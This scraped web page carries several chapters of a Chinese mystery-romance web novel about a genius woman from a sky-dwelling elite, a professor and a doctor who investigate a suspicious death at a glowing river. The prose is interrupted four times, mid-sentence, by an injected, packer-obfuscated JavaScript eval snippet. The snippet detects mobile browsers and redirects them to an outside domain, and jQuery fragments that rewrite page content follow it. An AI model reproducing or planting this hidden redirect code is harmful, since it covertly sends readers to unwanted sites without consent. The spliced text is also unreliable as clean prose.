;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322533|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的年轻面容上。季疏原看着,她与他教过的学生并没有什么两样。 整个人干净且稚嫩,或是春天浅淡出芽的新叶,就算淋了点雨,也不太爱乐意动弹甩开。 季疏原今天穿来的是从罗兹定制的那套黑色公使西装,胸前的金属暗扣是荆棘藤蔓的样式,金色的,反射着日光。 他忽然觉得,这个场景很像他们第一次见面。 在审讯室。 他拿她根本没办法。 一如既往地没办法。 任何人有办法的话,木柯泽也不会年纪轻轻就成为第三纪的最强天才了。 “邀请我合作的人有很多。”季疏原转移视线,说,“与松尾公社竞争商街的日濑,陆外十三城的几位城主,各个AI厂商的责任人。” 木柯泽挑眉,稍微坐正了一点。 什么意思?是还想看她去跟其他人抢他么? 什么稀奇古怪的爱好。娇气。 “现在的处境,难道你自己不明白吗?季先生,老季——你应该比我清楚,你需要的从来不是什么家族势力,松尾公社的竞争对手,资本呀,经济市场啊,之类脑袋空空的垃圾。” 提到末尾几个指代词时,木柯泽慵懒地拖长了调子,并不将他们看在眼里。 最后才指了指自己:“你想要,不,你需要的其实是——” “我。一名共犯。” - “我的评价是季老师今天狠狠受刺激了。” “难道不是我们疯狂传他八卦的报复吗?” “老师……算了,指望不上。助教。菜菜。捞捞。” “怎么这么难!入侵检测也不是季老师的课吧!好吧虽然我们确实有学……” “哈哈。现在我脑子里的知识跟我的前男友一样多呢。哈哈。” “?” “本人的前男友啊,根本不存在呢。” “……” “我只是隐隐约约有判断出来是在数据泄露……但只有网络日志怎么看得出来啊?不多给点信息吗?上厕所裤子只脱一半怎么行。” “?什么话这是?公共场合。” 随堂测试结束,底下的学生们怨声载道,讨论声音越来越大,咕噜咕噜地冒泡泡。 被学生们委以重任的助教扭头,看了眼正在翻阅答卷的季教授。 教授正慢条斯理地翻阅答卷。 手指修长,骨节分明且养眼,像古希腊的雕塑。 ……嗯。也是一如既往地没什么表情。 为了制止这锅沸水,助教一个箭步冲上讲台,安抚道:“不用担心,同学们,这门测试不参与期末考评。” 送走这帮颇受打击的学生,助教才抹了把汗。 就连他也不能保证自己能解算出这个完整的入侵步骤。 季疏原说:“你的参考答案记得发给他们。” 助教连连点头:“好的季教授,这题是在窃取音像信息吧?虽然总感觉前后风格有些奇怪……” 两方针对录像的入侵。 季疏原将奶茶店监控的网络日志经过一些加密处理后,就当作这节课的随堂练习发下去。 这帮学生是陆外十三城顶尖的那一批年轻人,脑子活跃且敏锐,并且专攻信息技术。 最早的入侵是一开始就埋伏在系统里的那个种子,极其容易识别成主机的自我保护程序。 伪装在庞杂的数据流里进行反攻,并追踪定位二次入侵的IP地址。 就连助教,也不能完全看出来是两个攻击方。 但季疏原没多说什么,点头。 教授似乎有些神游天外了。助教想。这可不常见。 那个种子。 季疏原在想。 那个种子,凝结了陆外十三城的所有资源,是【改装贰型】的核心算法截断,再经过季疏原研究多日的改进。 针对入侵检测的判断,目前主流的办法,不止日志分析,更要与其它重要数据结合。 但是。 但是…… “只是随手翻过几本算法书……她看一眼就能做到。” 助教有些迷惑。 “教授是说今天的题吗?” 季教授不知道在感慨什么:“确实是完美的共犯。” 助教:? 助教委婉道:“教授,心理咨询也对教职工开放的。” “尽量还是……不要犯法哈。” 11. 第 11 章 不出意外在路边看到了一辆招摇的敞篷车。 被保安大叔誉为“需要警惕过年杀猪盘”的外国小伙降下车窗。 金色的头发在太阳底下闪闪发光,墨镜看着就价值不菲,反射出路中间正在等公交的木柯泽的身影。 “嗨。柯泽小姐。” “不嗨。” 木柯泽扫了他一眼。 本来是想无视的,但是姑且之后应该会有用,便折中打了个不友好的招呼。 阿德莱德上下打量了木柯泽一圈:“很有精神呢。看上去你的消化系统还是比较出色的。” 木柯泽:“……” 怎么是个人都知道她食物中毒进医院的事情。 总觉得有点没有面子。 “你的小跟班呢?”阿德莱德很有兴致地扫视一圈,“没跟你一起过来?” 在真的没有发现人之后,阿德莱德原本随口一问,现在是真的好奇起来。 “治安局虽然说确实能力不行,但那个年轻人看起来是愣头青吧。你怎么支开他的?” 那个年轻人……似乎叫阮小天来着,刚进社会,还尚有不知天高地厚的愚蠢的勇气。 把工作当作热爱的人,通常情况下不会擅自离守。 木柯泽:“你猜?” 过去她并不是喜欢解释的人,要用清晰直观的语句向别人概括自己的目的,即使足够笼统,也简直是将一句话扩写成三千字小论文。 太浪费时间和精力。 所以她学会了用问句回答问句。 “算了。”阿德莱德也是一个擅长放过自己的人,他侧头,双手搭在方向盘上,直白道,“我今天来,是听说季先生邀请你共进午餐。” 木柯泽抱臂。 “难得趁我没有被监视,阿德莱德先生,你就想重复一遍这些已经发生的事实吗?” “好歹是与季疏原齐名的人吧。”阿德莱德说,“打听一下竞争敌手的现状,难道不是应该的?” 季疏原和阿德莱德,确实是经常一起被提起的两个人。虽然两人擅长的领域截然不同,然而却在众人眼里格外类似。 同样的天赋异禀。同样出众的外表。 同样干脆利落地拒绝了神庭会。 但木柯泽并不觉得,阿德莱德会是竞争意识很强烈的那种人。 “没事我就走了。” 她刚转过身,便被叫住。 “他是来请你调查她母亲的事吧?”阿德莱德说,“实话说,我也不认为是自杀。” “觉得没有用。”木柯泽平静道,“档案怎么说。” “当然也是自杀了。治安局的档案早在上周就封了。” 听起来阿德莱德似乎也经常去档案库里乱逛。 真是一个漂亮的安保系统,起码起到了装饰上的作用。 “一年前,季桃曾经来过我的医院面试。” 阿德莱德突然说。 木柯泽回头。 “当你的患者好像还挺有难度。” 她随口调侃了句,又问:“季桃什么病?” “毕竟免费救治,见过的人实在什么类型都有。”阿德莱德想起每周的汇报,稍微有些头疼,继续说,“那时我并不知道她的身份。只是很简单的癌症初期,以及胃结石。能活,但也仅仅是能活。” 这话的意思是只能依靠烧钱来换取呼吸的权利。 “直到前不久,我才隐约想起有这么个人。简单查了一下,竟然不是重名。” 阿德莱德想起季桃,也是一时兴起。 木柯泽那次来到他医院,让他无意间产生了回忆和联想。李默的尸检报告里,胃部有碎石,季桃也有胃结石。 从前他一直不太关注病人,只是突然想起那个中年女人。 与哭天抢地,试图撒泼,无理取闹的那帮人不同。季桃十分平静地接受了自己的结果。 “您需要住院吗?”护士问。 “不必了。” “其实您这个肿瘤长的位置并不刁钻,而且这种初期的话存活率不低的,治疗得当的话,起码有三十年。” “我很有钱。” 护士:“……” 打扰了。 “季桃曾经来过我的医院,但并不是想要住进去。”阿德莱德说,“她是为了得到一份带有我签名的病历单。” 毕竟阿德莱德这四个字,就代表着医学界的权威。 木柯泽安静地听着。 “记下了。谢谢。”木柯泽说。 “作为回报……柯泽小姐可否给我编个号呢?” 木柯泽:? 木柯泽头一次感到了困惑:“什么?” 阿德莱德见她一脸茫然,挑眉:“听说州河最近要举行‘是情侣就来挑战怨灵恶鬼’的活动,似乎是唯一可近距离接触发光河道的机会。我先来排个队。” “竟然还没有人约柯泽小姐么?我还真是走运。” 木柯泽:“……所以到底是哪个部门的决策?” 阿德莱德耸肩:“听说是旅游宣发那边的人,向治安局争取的开放。不过治安局本来就准备撤了。打捞队没有发现异常。” 木柯泽失望地叹了口气。 - “柯泽女士!” “柯泽女士!请离他远一点!” 阮小天和韩寒梅远远就见到阿德莱德,如临大敌,几个箭步冲了过来。 眼看着不是一个人冲了过来,而是两个,阿德莱德看向木柯泽的眼神更加新奇。 这个人,自从相识以来,似乎一次又一次地突破他的设想。 “原来已经养到两个忠心耿耿的宠物了啊。”阿德莱德踩油门,“我没有与他们争论的爱好。” 木柯泽眯起眼睛。 在阮小天和韩寒梅赶过来之前,阿德莱德已经开着他那辆异常显眼的蝙蝠车离开了。 “犯人抓到了吗?”木柯泽问。 韩寒梅:“已移交治安局。” 阮小天一脸紧张:“阿德莱德没对你怎么样吧?” 上次进的医院,实在是太像闯入反派的大本营了。 “没有。”木柯泽说,“只是他打听到老季请我吃饭,来跟我聊聊。” “希望柯泽女士不要忘了我们的约定。” 韩寒梅远望。道路尽头,阿德莱德已经不在视线范围内了。 木柯泽:“听证会,我会准时参加的。” 一个半小时。 一个半小时无人监督的自由行动。 作为交易,木柯泽需要参加周日的听证会,接受一次来自中心区的,全方位的分析和盘问。 陆外十三城在接待到她的第一时间就上报了中心区。然而从审批,到找人,中心区来到陆外十三城最快就是周日。如今的监管更多像是拖延。 本来阮小天和韩寒梅可以跟在木柯泽身边。但在路上,木柯泽逛了一下社交软件,便指出了附近正在有人贩子拐卖儿童,企图贩卖器官。 阮小天和韩寒梅当即被她差遣去追捕犯人了。 阮小天开车过来的,木柯泽和韩寒梅坐在后座回家。 与治安局的交涉,大多是韩寒梅负责的。 她所听到的,要比阮小天多得多。 “如果有任何异常,必须上报。”领导冷声道,“如果让我发现木柯泽有任何想要逃跑的冲动,木柯泽的周围环境出现与神庭会私联的苗头,木柯泽的精神状态产生动摇的征兆,你要怎么用你的命去跟她可能造成的危害担责?你又要怎么保证,你本人没有受到木柯泽的言辞蛊惑?” 普通人心情不好顶多也就发生口角斗殴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322534|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而木柯泽在领导们眼里是个游走□□。 治安局过于重视木柯泽了。谨慎到韩寒梅开始疑惑的地步。 “你不知道神庭会的那些人。”领导说,“那些……人!已经可以称作是另一种生物。” 人命微末如木材。 领导口中,神庭会常年居于高处。 而高处不胜寒。那群人想要取暖,便杀人拾火。 这是相当严肃的话题。 也是陆外十三城,乃至各国,包括地面所有人和中心区对神庭会的不满。 平心而论,神庭会的人数并不多。但他们实在相当碍眼。毕竟人不会对地面上偶然聚集的蚂蚁有意见。 但神庭会直接建在了抬头就能看到的天上。 那……柯泽女士此次破例从神庭会落地,是否察觉到了地面人的不满,有意要改变这种现状呢? 虽然韩寒梅现在还并不能说自己了解木柯泽。 只是现状已如此。 她觉得,需要有一个引领者来打破双方固执而加厚的偏见。 韩寒梅正皱眉思考着,旁边却突然传来了游戏开启的动画音响。 韩寒梅:……? 被领导们如临大敌,而被她用职业生涯担保的木柯泽,手机横屏,像在启动游戏。 过了几分钟,韩寒梅终于忍不住看了一眼。 对方正在玩新出的一款社交性恐怖游戏。阴森的骨头和坟墓从屏幕里长出来,而木柯泽盯着输入框发呆,似乎正在苦恼应该取什么名字。片刻,她应该是想好了。 于是打字:绝望的寡妇。 韩寒梅:“……” 这种家伙真的靠谱么? “电子墓碑。最近很火。”木柯泽见韩寒梅盯着,热情道,“你要玩么?可以用我的邀请码。” 韩寒梅拒绝得很快:“不了谢谢。” “回家的路上很无聊啊。说起来听证会我需要准备什么吗?” “不仅是治安局,各大联邦政府也会过来。柯泽女士,冒昧问一句,你在地面有熟知的,地位显赫的人吗?” “老季和阿德莱德不算吗?” 木柯泽给阿德莱德发消息,得到同样的答案。 Ada:很荣幸能够受到柯泽小姐的邀请呢。 Ada:十分可惜,我不能是。 “听证会需要有隶属你的担保人。他们不算的。”韩寒梅说。 不过要在地面找到愿意为她担保的很困难吧。 尤其是对木柯泽来说,她这种天才大概一出生就接受了神庭会的无数监测,恨不得把大脑关在培养皿里长大。 在这个时候,无论是阮小天,还是韩寒梅,或者说屏幕对面的阿德莱德,意识到这件事。 木柯泽是一个人。 她总是一个人。 在这里,她没有家庭,没有朋友,没有任何曾与她有过交际的旧识。 她的常识于众人而言是高不可攀的高山。 她是割裂的,于这片土地。 Ada:突然有些好奇,柯泽小姐第一次来到这片土地,会是什么样子呢? Ada:稍微开始想象了。 木柯泽没回。 她在认真思考担保人的问题。 唉。 最后来的不会是那家伙吧。如果听证会放开一点关于担保人的生物范围就好了。 “如果一个……呃,一具尸体,可以算么?”木柯泽严谨地更改了量词,把手机收起来,试探询问,“不过现在应该还在法医手上,搬出来应该会有点麻烦。” “说起来他还是有点死太早了。” 阮小天和韩寒梅俱是一滞。 韩寒梅:“……柯泽女士,我希望你最好说的不是李默。” 木柯泽眨眨眼:“为什么不呢?” 12. 第 12 章 关于“受害者是否能成为疑似凶手的担保人”这个议题先放着不管,毕竟距离周日还有一段时间。几天时间对于木柯泽来说,已经足够做很多事。 眼下她纠结的,确实是阿德莱德提出的那个问题。 关于情侣挑战的活动。 “这个活动足够开放吗?” “柯泽女士,我姑且是不能当你的同伴吧。”韩寒梅提醒说。 他们坐在家里的客厅,韩寒梅洗好了水果摆在桌子上,木柯泽翻来过去地看,最后从众多苹果中选择了一个苹果。 “柯泽女士不喜欢苹果吗?” “苹果是乏味的水果。” “好的。记住了。” “……等一下,这条应该不会给老季报告吧?” “已经发送了。” 木柯泽:“。” 她扭过头,愁眉苦脸地继续摆弄苹果。韩寒梅对木柯泽的行为视而不见,只是提醒说:“不想吃的话可以放下。” 木柯泽确实很想参加今晚河道的那个“是情侣就来挑战怨灵恶鬼”活动。大概文旅部以为这是吸引年轻人的手段吧。 眼下的难题却是必须结伴,虽然阮小天和韩寒梅照理说也得跟在她身边啦…… 韩寒梅向季疏原发送“柯泽女士想要晚上参加河道活动”的信息。 阮小天凑了过来,等到木柯泽和韩寒梅都拿了苹果后才给自己也拿,走过的时候木柯泽瞥他一眼,然后果断地摇了摇头。 “不行。我恐骨科。” 虽然不知道柯泽女士什么意思,但阮小天隐隐约约觉得自己又被嫌弃了。 - 等到晚上的时候,河道与白天的景象完全不同了。拉起了彩带和气球,色彩斑斓的灯光映照到斑驳的地面。装修风格很眼熟。果然在路边看到了甜心粉呼呼奶茶店的姐妹店员。她们热情地招呼木柯泽:“要来一杯饮料吗?” “谢谢。有果汁么?” 西瓜汁里放了几个冰块,叮叮咚咚的,木柯泽捧在手里。身后跟着两个小尾巴。 “只要有同伴就行了。就像我拉着姐姐过来也是可以的。”妹妹跳起来揽过姐姐的肩膀,“祝你度过愉快的夜晚!” 这话也被韩寒梅听到了。木柯泽捧着冰镇西瓜汁,若有所思。 韩寒梅一个哆嗦,谨慎地后退了两步。 木柯泽:“……” 她继续散散漫漫地走着。这个活动确实不止情侣可以过来玩,她还看到了母子父女,姐妹之类的组合。 然而很快,他们又牵起了手。言行暧昧。 木柯泽:“。” 打扰了,地面人玩得确实丰富多彩,花样很多。 灯光一闪一闪,木柯泽慢悠悠地溜达,低头看到脚边多了个影子。 然后是声音。 “阿德莱德其实是个女孩子的名字。” 木柯泽:“……” 木柯泽:“阿德莱德先生,我觉得你应该不缺女伴吧。” 河畔的晚风要比早上大不少,木柯泽戴着顶白帽子,转过头去看那个不请自来的青年。异邦人的五官格外锋利些,鼻子高挺,在光影之间显得更加突出了。 有不少胆大的女生们往他手里扔花束,在他的蓝眼睛看过去之后又害羞地捂脸跑开。 这家伙,看上去已经拦截了这一整条街的花了吧。 实在拿不下,还笑眯眯地随意分发了出去,又紧接着引起一阵骚动。 过路的女生手上都或多或少有花了。木柯泽也被塞了几个,她扭头看看,附近还有一个女孩子站在河边,手里空荡荡的。木柯泽把一朵郁金香插在她胸前的口袋里,对方明显呆住了,木柯泽向她摆摆手,然后说:“前面有免费的饮料。” 女生慌张地向她道谢,局促不安地后退几步。 阿德莱德手里还剩最后一束白玫瑰,这时候他走过来。 这个外国小伙长得很高大英俊。他像花园的园丁一样,向前弯腰,把手上这束沾露珠的白玫瑰插到了木柯泽的帽子边。 木柯泽又听到了来自人群的声音。 只不过与之前不同,这回更多的是起哄。 “帮帮忙,柯泽小姐,一直被人围着我也很苦恼诶。”阿德莱德在阮小天紧张的注视下凑近,压低了声音,近乎两个人之间的耳语。 木柯泽缺乏表情地说:“我的演出费可是很贵的。” 俊男美女的组合确实很养眼。木柯泽表情虽然不太配合,刚刚出现在河道边也没有引起特别的注意。她顶着个毛茸茸的白帽子走来走去。就像是偷偷跑出来玩的任何一个普通女孩子。 但现在,其他人惊讶地发现就是这么一个看上去相当安静的人,没有什么特别的打扮,站在风格强烈的阿德莱德身边,竟然气场完全没有被比下去,甚至隐隐有种压他一头的错觉。 更多人开始关注到木柯泽。 “柯泽小姐的气质看起来是遇强则强的那种类型。”阮小天对韩寒梅嘀嘀咕咕,“感觉只有很少的那部分人才能让她的光芒照射出来。” “所以待在我们两个身边完全是最好的伪装吧。”韩寒梅平静地指出。 阮小天:“……” 虽然是事实,但为什么感觉这么扎心了呢。 人群里甚至有人开始偷偷给木柯泽拍照,闪光灯没关,木柯泽不太舒服地眨了一下眼。 随后她果断将阿德莱德护至身前。 阿德莱德无奈地举了下双手:“我们跑吧。柯泽小姐。” 木柯泽戳他后背一下。表示同意。 阿德莱德莫名其妙变得兴奋起来。 他似乎很喜欢戏剧化的场合,出于礼貌,打算递根玫瑰枝给木柯泽牵着跑。 结果转头,那顶白帽子已经一跳一跳地蹦好远了。 他眼睛亮起来:“没想到柯泽小姐,是跑步很厉害的那种类型啊。” 阮小天和韩寒梅对视一眼,迅速地跟在他们后面。 还有人看他们跑,莫名其妙也想要加入锻炼身体的队伍。 但河边突然传来响亮的一阵动静。 噼里啪啦的声音在天边绽开,激起层层惊呼。 “好好看!” “今晚上来真不亏啊!” “神啊,请让我今年找到男朋友吧!” ——是烟花。 漂亮的烟花,一股脑地在浓郁的夜色中绽开了。转瞬即逝的花朵,只在火焰中盛开刹那。 一簇紧挨着一簇,一朵挤着一朵。热情又奔放,像十七年蝉。在暗无天日的泥土里生长十七年,只鸣叫一个夏天。 原本打算去追木柯泽的人们纷纷驻足,摄像头转而对准了闪亮的多彩天空。 热闹兴奋的人群里,只有奶茶店的姐妹店员表情疑惑。 “今晚的单子上有这个流程吗?” 当然没有烟花表演。 文旅部的人怎么可能想得起这种事情。 风声的某处。 季疏原随手扔掉打火机,浅色的瞳孔倒映出浓郁的夜色。木柯泽和阿德莱德消失的那个路口。 他走进去。 - “负责人认为这是一起恶作剧。不妨就以此来举办一个小型活动。打捞队已经提前撤离了。” 靠近河面的地方反而人很少。阿德莱德和木柯泽一前一后地走着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322535|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,阮小天和韩寒梅跟在他们身后,偶尔环顾四周的风声。 远离人群,黑夜浓郁的地方,烟花更加显眼了。 木柯泽问:“没找到什么东西吗?照理说州河应该不算很深。” “没有。”阿德莱德说,“不过我怀疑他们是否真的打捞过,也是个问题。” 啊。这就是所谓的上班积不积极了。在文旅部门看来,这种娱乐化的小事,大概也没有认真对待。 “所以柯泽小姐是认为季桃女士在这里跳河的吗?” 在河道边慢慢走的时候,阿德莱德询问:“季疏原那家伙让你一个人来?” “身后姑且还有治安局的两个年轻人啦。”木柯泽满不在意,“我猜是想要用河里这种发光的东西,来引起治安局的注意吧。” 但效果似乎并不明显。并且招惹过来的明显不是治安局的人。 季疏原定位追踪的地方不在陆外十三城内,沿着江河,在比西郊更西的西边。 与中心区很近。 之前分析过,这段河道发光的监控录像是真实的。在木柯泽赶到之前,有人企图调换这段监控,被季疏原早早设置的种子拦截,将监控换回。 有人不想让这段监控发布出去。 并且代码技术还挺高的。起码季疏原一时半会分析不出来,需要木柯泽的协助。 阿德莱德并不清楚事情经过。他今晚来这里更多的话……大概只是为了好玩。 “顺便,受害者的尸检报告更新了。需要给你发一份吗?”阿德莱德说。 “这种事情在网上聊就可以了。”木柯泽说,“我们应该是加了好友的。” “当然还是亲口说比较有诚意。柯泽小姐与我大概也有几十个小时没有见过面了。” “是想看热闹的心情占了更大一半吧。” “确实也是。不过能看到这副模样的柯泽小姐,也不算白跑一趟。” “你只是感到很无聊吧。” “啊。是心有灵犀吗?这是我之前分析你的台词。” 这两个人的对话坦诚得有些过分了。阮小天和韩寒梅听得噤若寒蝉。 在第一次针对木柯泽进行审讯时,阿德莱德做出了“这类人很容易感到无聊吧”的评价。 木柯泽:“看待别人确实容易套用自身的观点。” 一个人眼中的他人无疑是对自己的映射。从这个角度上说,宇宙一定程度上是唯心的。 远处的烟花放完了。木柯泽和阿德莱德之间的气氛不知道为什么变得紧绷起来,仿佛烟花残留的硝烟四起,弥漫到他们身边。 过了会,阿德莱德问。 “所以柯泽小姐,会感到无聊吗?” “我想,是同类。”木柯泽更加直接地回答了阿德莱德的问题。 阿德莱德勾唇,笑容放大。 “尸检报告已经洗刷了你的大部分嫌疑。”阿德莱德现在看上去心情不错,“不必过于担心周日的听证会,我想那应该更与神庭会的外交事宜有关。” 后面跟着的阮小天和韩寒梅:“……” 不。 听起来更加担心了。 不过当事人一副无所谓的模样,他们也没有比木柯泽还要着急的理由。 “有什么发现?”木柯泽问。 “确定了死亡时间,尸体里发现有多处碎石,左眼物理受损,怀疑生前曾遭受虐待。此外……”阿德莱德顿了一下,然后说,“受害者靠近中枢的第三节颈椎没有找到。” 木柯泽歪头思考了一会,才道:“我现在是不是应该说,那节颈椎不在我这里?” 阿德莱德被她的这种语气逗笑了。 13. 第 13 章 江边的晚钟当当敲了十一下,已经是夜深了。但参加活动的人们热情不减,关于生命的喧闹十分大声,似乎这样就能消磨漫长人生里的寂寞。慢慢的,有人也注意到了这几个围在河道边,行踪略显诡异的人。 木柯泽从背包里掏出一根渔竿,上头系了韩寒梅买的鱼饵,她试了一下鱼线的长短,在其他人目瞪口呆的注视下向河中甩去。 “这是在做什么?”阿德莱德应该看清了,但他觉得自己并没有看懂。 “钓鱼吧……应该是。柯泽女士白天就在这里钓过鱼。好像有听说过夜钓这个活动。” 就……挺离谱的。 无论是外表看上去年纪轻轻的少女,还是实则大脑已经飞跃了这个时代的第三纪最强天才。无论如何,随身携带渔竿这件事还是有些超过了。 “要让鱼咬钩的前提是有鱼饵。”木柯泽站在河边,看似在说一些无关的话,“如果要钓别的东西的话,鱼饵也会不同。” “今天是10月8日,星期四,晚间东北风二级,阵风速度14km/h。” “自然环境确定。如何钓起一具尸体呢?” 韩寒梅没有忍住,询问:“李默……难道也是由柯泽女士钓出来的么?” 阮小天:“那柯泽女士其实很有经验了。” 阿德莱德:“难以想象是什么样的鱼饵成分,才能让尸体咬钩。” 话这么说,几个人的关注点慢慢都放在了河里。慢慢的,河底突然折射出越来越亮的光芒,一点又一点。岸上的烟花消失了,这像水里的烟花。 岸上的人发出一阵惊呼。 “柯柯柯、柯泽女士!”阮小天紧张到结巴,语无伦次,“光!河底真的在发光啊!!” “身后。”木柯泽简洁道。 话音刚落地,韩寒梅果断反身踢腿。一道黑影突然从夜色中蹿出,直接以十成十的力气预备偷袭。韩寒梅竟然是在场武力值最高的那个,反击得极快,阿德莱德一把捞过了木柯泽,阮小天从脚边搬起石头砸了过去。黑影偷袭不成,迅速判断后逃跑。 虽然没有掉到水里,但木柯泽多少还是有点剐蹭。河底的光越来越亮,在她的脸上闪烁,她忍着一点疼痛,还是语气轻松地说:“看。这才是今晚我钓到的鱼。” 顾忌着是否还会有其他人的偷袭,韩寒梅并没有追上去,只让阮小天跑了个没影。岸上的动静声音更大了,有人叫了治安局。 但这里离河边有段距离。木柯泽在原地缓了缓,跟着阮小天的身后,三个人一起往那边追过去。 她脑袋顶着的白帽子在之前的推搡中已经落到了水里。阿德莱德插的白玫瑰散落一地,纯净的白色花瓣沾染上潮湿的肮脏泥土。 阿德莱德扶着木柯泽,表情有些严肃。 “如果治安局没有派人来,我也没有。柯泽小姐也打算一直这么钓鱼吗?” “你们在啊。” “你不应该这样对待上帝给你的天赋。虽然不太愿意承认我们的差距,但你的生命是与这个时代挂钩的。” “其实我会游泳。我游得还挺好的。”木柯泽有点无奈地叹了一口气,“比起这些,眼下已经发生了恶劣社会性质的事件吧。我怀疑季桃不是简单的自杀。” 韩寒梅一声不吭。 几个人陷入一阵诡异的沉默,只是沿着阮小天的脚步向前追去。阮小天一路跑还没忘记回头看,生怕走散。 木柯泽的脑子里仿佛加载了这个城市的地图,有些路就算是本地人也辨认模糊。然而木柯泽完全承担了导航的作用,她简短地指挥:“往左。十字路口右拐,有个小巷。是条死胡同。” 终于,他们气喘吁吁地将人堵到灯光昏暗的死胡同。 黯淡的路灯照亮一个穿黑色风衣的高个男人。 他背对着几人,双手随意插在口袋里,黑发凌乱,一言不发。 阿德莱德蹙眉,他很快认出了这个男人。 “季疏原。” 季疏原的影子拉长到木柯泽的脚边,木柯泽气有点喘:“不是他。” 但季疏原铁了心地挡在那个黑影与他们之间,将他的态度贯彻到底。 “你得知道,你这种相当明显的袒护,事实上也不会瞒过我很久吧。”木柯泽扶着阿德莱德说,她思索片刻,忽然间长长地“哦”了一声。 所以是故意的。 真要偏袒一个人,以季疏原那种敢在治安局里向木柯泽咨询怎么瞒过监控的性格,早就偷偷带人跑走了。而不是堵在死胡同里,任由他们追上来。 “你们走吧。”季疏原说。 他的声音极其冷淡,冰冷如冻土。 木柯泽望向阮小天傻愣的表情,顿住。 然后看向韩寒梅一脸塌房的破碎,眨眨眼,扭过头去。 对上阿德莱德的蓝眼睛。 嗯。这个不错。 木柯泽对他比划了个眼色。 阿德莱德意会,操着他的标准播音腔,控诉道:“季疏原,你知不知道你在干什么!” 木柯泽:“我刚刚可是差点被人推下河诶!现在脚都在痛。” 阿德莱德:“治安局已经在赶来的路上了。” 木柯泽:“梅梅和小天身上也都有治安局的监听装置。” 两人一唱一和,季疏原不为所动:“治安局那边我会去解释。” 他们僵持不下,钟声忽然再次响起。绵长而深远的钟声。 和一轮明月。 几乎是同时,木柯泽的手机震动了一下。 “叮咚。你有一条新的邮件信息。” 木柯泽的手机大多时候都是静音,更别提韩寒梅还留下了“晚上七点之后就连神庭会也不敢找木柯泽”的深刻印象。这还是几人第一次听到手机的提示音。一时间都忘了现在需要表演的场合,他们动作统一,纷纷向她望过去。 木柯泽:“……” 木柯泽神情自然:“今天是什么节日吗?” 她“哦”了声,然后微笑说:“中秋快乐。” 她好像很喜欢戏弄人。 季疏原表情严肃地心想。 这个稍显诡异的节日祝福无疑冲淡了多余的紧绷。他们姑且选择离开。 临走前,木柯泽好心地看向季疏原身后,那个一直被他挡着的人,她向他们再附赠一则衷心的祝福。 “好的大学,没有校长。” 季疏原低头。 与腿软瘫坐在地上的,第一城大的校长对视。 - “说起来,我在治安局见到的第一个人就是那个城大的校长。” 木柯泽回忆起来:“当时还想让老季背锅来着。” 那个中年男人。 没想到手脚还挺利索的。 “柯泽小姐,为什么猜他?”阿德莱德问。 木柯泽淡淡道:“你不是已经查到了么。” “赵怀仁,第一城大53届校长。刚就职期间毫无作为,引发学生不满,几年后取得不少科研成果,与中心区牵线搭桥,城大逐渐成为顶尖学府。” 阿德莱德一手开着车,一边在手机上指指点点,念着不知道从哪搜到的资料,完全没有看路。而在副驾驶的木柯泽支着脸,一副漫不经心的表情。 这个点已经没有公共交通运行,韩寒梅又破受打击的样子,因此阿德莱德很容易就拐……就招呼着木柯泽几人上车,美名其曰送回家。 也只有阮小天,胆战心惊地注视着几乎快要双手离开方向盘的阿德莱德,忍了忍,终于开口:“是送回幸福小区吧?” 木柯泽:“是啊。回家。” 阮小天:“我听说死亡也是每一个人最终的家。” 木柯泽稀奇:“从什么时候开始,你变得如此哲学了?” 阿德莱德扫了一眼,道:“从我开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322536|167545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了自动驾驶起。” 阮小天:“……哦。” 木柯泽:“……” 木柯泽与阿德莱德搭话:“中心区的科研成果?是之前审讯时,他们提过的什么超距波算法?” 阿德莱德:“嗯。” 木柯泽:“听起来是季疏原的研究方向。” 阿德莱德继续道:“赵怀仁不仅研究能力突出,并且宅心仁厚,收养了当时无家可归的季疏原,两人关系亦父亦友。季疏原在赵怀仁的熏陶下,就读大学之后,也选择投入计算机事业。” 木柯泽笑了下:“很美满的故事。” 